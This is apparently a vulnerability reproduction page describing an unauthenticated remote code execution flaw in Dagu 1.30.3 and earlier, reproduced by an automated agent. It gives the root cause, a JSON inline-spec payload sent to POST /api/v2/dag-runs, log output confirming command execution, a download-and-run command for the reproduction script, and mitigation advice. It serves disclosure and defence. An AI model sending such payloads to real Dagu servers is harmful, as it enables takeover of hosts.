Skip to content

GHSA-6qr9-g2xw-cw92: Verified Reproduction

GHSA-6qr9-g2xw-cw92: Dagu Unauthenticated RCE via Inline DAG Spec

GHSA-6qr9-g2xw-cw92 is verified against github.com/dagu-org/dagu · go. Affected versions: <= 1.30.3. Vulnerability class: RCE. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00106.

REPRO-2026-00106 github.com/dagu-org/dagu · go RCE Feb 20, 2026 .txt
Severity
CRITICAL
Reproduced in
18m 38s
Tool calls
153
Spend
$0.77
01 · Overview

What Is GHSA-6qr9-g2xw-cw92?

GHSA-6qr9-g2xw-cw92 is a critical missing-authentication vulnerability (CWE-306) in Dagu, whose default configuration ships with authentication completely disabled, allowing unauthenticated remote code execution via an inline DAG spec. Pruva reproduced it (reproduction REPRO-2026-00106).

02 · Severity & CVSS

GHSA-6qr9-g2xw-cw92 Severity

GHSA-6qr9-g2xw-cw92 is rated critical severity.

CRITICAL threat level
Weakness CWE-306 (Missing Authentication for Critical Function) — Missing Authentication for Critical Function

Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.

03 · Affected Versions

Affected github.com/dagu-org/dagu Versions

github.com/dagu-org/dagu · go versions <= 1.30.3 are affected.

How to Reproduce GHSA-6qr9-g2xw-cw92

$ pruva-verify REPRO-2026-00106
or curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00106/artifacts/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh
Run in a VM or disposable container. This exploits a real vulnerability.
06 · Proof of Reproduction

Proof of Reproduction for GHSA-6qr9-g2xw-cw92

Reproduced by Pruva's autonomous agents — 153 tool calls over 19 min. Full root-cause analysis and the complete transcript are below.

Runnable proof: reproduction_steps.sh
Captured evidence: dagu fixed serverexploit response
How the agent worked 495 events · 153 tool calls · 19 min
19 minDuration
153Tool calls
112Reasoning steps
495Events
2Dead-ends
Agent activity over 19 min
Support
30
Repro
224
Variant
237
0:0018:38

Root Cause and Exploit Chain for GHSA-6qr9-g2xw-cw92

Versions: ≤ 1.30.3

GHSA-6qr9-g2xw-cw92: Dagu Unauthenticated RCE via Inline DAG Spec


Dagu workflow engine versions ≤ 1.30.3 ship with authentication completely disabled by default (AuthModeNone). The POST /api/v2/dag-runs endpoint accepts inline YAML DAG specifications and executes shell commands immediately without requiring any credentials or authentication tokens. This allows any unauthenticated attacker with network access to achieve Remote Code Execution (RCE) by submitting a malicious DAG spec containing arbitrary shell commands.


  • Package: github.com/dagu-org/dagu
  • Affected Versions: ≤ 1.30.3
  • Severity: CRITICAL (CVSS 9.8)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • Consequences:
    • Unauthenticated Remote Code Execution
    • Full host compromise
    • Access to all resources reachable by the dagu process user
    • Data exfiltration, lateral movement, and persistence capabilities

Root Cause

Technical Analysis
  1. Default Configuration Vulnerability:

    • File: internal/cmn/config/loader.go:226
    • Default setting: Server: Server{Port: 8080, Auth: Auth{Mode: AuthModeNone}}
    • This means every fresh installation runs without authentication
  2. Missing Authorization Check:

    • File: internal/service/frontend/api/v1/api.go
    • Function requireExecute() returns nil (permission granted) when a.authService == nil
    • This occurs when AuthModeNone is configured
  3. Unsafe Inline Spec Execution:

    • File: internal/service/frontend/api/v1/dagruns.go:56
    • Function: ExecuteDAGRunFromSpec()
    • Accepts arbitrary YAML spec via POST body
    • Calls loadInlineDAG() followed by startDAGRun()
    • No validation or sandboxing of command execution
    • The endpoint only checks requireExecute() which passes when auth is disabled
Evidence from Source Code
// From internal/service/frontend/api/v1/api.go
func (a *API) requireExecute(ctx context.Context) error {
    if a.authService == nil {
        return nil  // <-- VULNERABILITY: Always allows when auth disabled
    }
    // ... permission checks
}

Reproduction Steps

The reproduction script is located at repro/reproduction_steps.sh.

What the Script Does:
  1. Downloads and sets up Dagu v1.30.3 (vulnerable version)
  2. Starts Dagu server with default configuration (--dagu-home set, no auth configured)
  3. Verifies unauthenticated access by querying /api/v1/dags without credentials
  4. Sends exploit payload to POST /api/v2/dag-runs with inline YAML spec:
    {
      "name": "poc",
      "spec": "steps:\n  - name: rce\n    command: echo <MARKER> > /tmp/pwned\n"
    }
    
  5. Verifies command execution by checking if the marker file was created
Expected Evidence:
  • Server accepts POST request and returns {"dagRunId": "<uuid>"}
  • Command executes and creates file at /tmp/pwned
  • File contains the unique marker string proving RCE

Evidence

Log Locations
  • Server logs: logs/dagu_server.log
  • Exploit response: logs/exploit_response.log
  • Verification: logs/verification.log
Key Evidence from Reproduction
[+] Sending exploit request to POST /api/v2/dag-runs...
[+] Payload: echo repro_proof_1771598561_10492 > /tmp/pwned
{"dagRunId":"019c7b80-c2f5-71d0-bdc2-be5a2ac010fe"}

[+] Verifying RCE by checking for marker file...
[+] SUCCESS: RCE confirmed! Found marker 'repro_proof_1771598561_10492' in /tmp/pwned
[+] File contents:
repro_proof_1771598561_10492
Server Access Log Evidence
Response: 200 OK service: "http" 
  httpRequest: {
    url: "http://localhost:8080/api/v2/dag-runs" 
    method: "POST" 
    path: "/api/v2/dag-runs"
  }
  httpResponse: {status: 200 bytes: 52 elapsed: 67.500582}
Environment Details
  • Dagu Version: 1.30.3 (vulnerable)
  • Test Date: 2026-02-20
  • Platform: Linux amd64
  • Go Version: 1.24.7
  • Curl Version: 8.5.0

Recommendations / Next Steps

Immediate Mitigation
  1. Enable Authentication:

    # config.yaml
    auth:
      mode: builtin  # or 'basic'
      users:
        - username: admin
          password: <strong_password>
    
  2. Network Restrictions:

    • Restrict access to Dagu port (8080) to trusted networks only
    • Use firewall rules to block external access
  3. Run as Non-Privileged User:

    • Never run Dagu as root
    • Use dedicated service account with minimal permissions
Long-term Fix
  • Vendor Fix: The Dagu project should change the default AuthMode from none to builtin or require explicit opt-in for unauthenticated mode
  • Version Upgrade: Upgrade to the patched version when released (after 1.30.3)
Testing Recommendations
  1. Regression test verifying auth is required by default
  2. Integration tests for all API endpoints with auth enabled/disabled
  3. Security scanning of DAG spec parsing for command injection risks

Additional Notes

Idempotency Confirmation

✅ The reproduction script has been tested successfully twice consecutively:

  • First run: dagRunId 019c7b80-c2f5-71d0-bdc2-be5a2ac010fe
  • Second run: dagRunId 019c7b81-148d-7727-9643-9317daa89801

Both runs confirmed RCE with unique markers, proving the script is idempotent.

Edge Cases and Limitations
  • Containerized environments: The exploit works in Docker containers running Dagu with default settings
  • Cloud deployments: Any publicly exposed Dagu instance without auth configuration is vulnerable
  • Operator role bypass: Even with auth enabled, operator-role users can still achieve RCE via inline specs (Finding 2 in the original advisory)
Additional Vectors (from original advisory)
  1. Operator Privilege Escalation: With authentication enabled, users with CanExecute=true (operator role) can submit inline specs to achieve the same RCE as admins
  2. Backtick Command Injection: internal/cmn/eval/substitute.go:57-78 evaluates backtick expressions in step parameters without sanitization

References

GHSA-6qr9-g2xw-cw92 Reproduction Transcript

The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.

Full session Replay every step — scrub the timeline or play it back.

Event 1/40
0:001:49
0:00
session startedaccounts/fireworks/models/kimi-k2p5 · ghsa-6qr9-g2xw-cw92 · ghsa-6qr
0:09
0:10
0:10
error

Unknown error

0:17
0:29
0:39
0:42
web search
0:46
0:48
web search
0:59
0:59
extract_facts
no facts extracted
0:59
error

Unknown error

1:06
1:06
extract_facts
no facts extracted
1:07
1:07
1:07
supportrepro
1:44
1:44
1:44
1:49
08 · How to Fix

How to Fix GHSA-6qr9-g2xw-cw92

Coming soon

Step-by-step mitigation and hardening guidance for GHSA-6qr9-g2xw-cw92 — configuration checks, workarounds where no patch exists, and how to verify you're protected — is on the way.

10 · FAQ

FAQ: GHSA-6qr9-g2xw-cw92

Why is GHSA-6qr9-g2xw-cw92 exploitable out of the box?

The exploitability comes from Dagu's default configuration, not a code path requiring malicious input to reach — administrators who don't explicitly enable authentication are exposed as soon as the API is reachable over the network.

Which Dagu versions are affected by GHSA-6qr9-g2xw-cw92?

Versions <= 1.30.3 are documented as affected in this reproduction.

How severe is GHSA-6qr9-g2xw-cw92?

It is rated critical severity: an unauthenticated network client can execute arbitrary shell commands on the Dagu host with no credentials required.

How can I reproduce GHSA-6qr9-g2xw-cw92?

Download the verified script from this page and run it in an isolated environment against Dagu <= 1.30.3 with its default (no-auth) configuration. Send an unauthenticated POST /api/v2/dag-runs request containing an inline YAML DAG spec whose step runs a shell command, and confirm the command executes without any credentials.
11 · References

References for GHSA-6qr9-g2xw-cw92

Authoritative sources for GHSA-6qr9-g2xw-cw92 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.